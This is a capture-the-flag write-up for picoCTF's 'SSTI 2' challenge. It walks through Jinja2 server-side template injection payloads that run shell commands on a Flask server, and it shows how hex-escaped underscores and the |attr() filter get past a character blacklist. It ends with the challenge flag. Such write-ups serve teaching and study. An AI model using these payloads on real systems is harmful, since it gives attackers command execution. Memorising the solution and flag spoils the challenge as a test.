SSTI 2 (Medium)

  • Challenge Link: https://play.picoctf.org/practice/challenge/488?category=1&difficulty=2&page=1
  • Challenge Description: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem.
  • Hints:
    1. Server Side Template Injection
    2. Why is blacklisting characters a bad idea to sanitize input?

Solution

Similar Website from the SSTI 1, let's try some injections using bypasses from on onsecurity.

Front
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Unfortunately, this time it's being blocked. Most likely by a Web Application Firewall that detects characters like . and __.

  1. request → Flask request object
  2. .application → Flask app object
  3. .__globals__ → global namespace of the app
  4. .__builtins__ → Python built-ins
  5. .__import__('os') → import os
  6. os.popen('id').read() → execute command
blocked

Most likely, the WAF blocked . so we must try a dictionary-style access:

{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}

Yet again, it gets blocked but now we know that it blocks . and _ so we can try hex coding:

\x5f  →  _
'__globals__' → '\x5f\x5fglobals\x5f\x5f'

But the WAF blocks ., _, [], |join so we use |attr() and this works because as we established earlier, the site uses Jinja2 and |()attr is Jinja filter which it retrieves attributes dynamically and the WAF doesn’t recognize it as attribute access, so we eliminate the need for ., _, and [].

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')
('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('id')|attr('read')()}}
bypass

Now we know it's being run on root level on the server so like the previous challenge we replace 'id' with 'cat flag' to get our flag.

picoCTF{sst1_f1lt3r_byp4ss_e39c23ee}
flag

Sources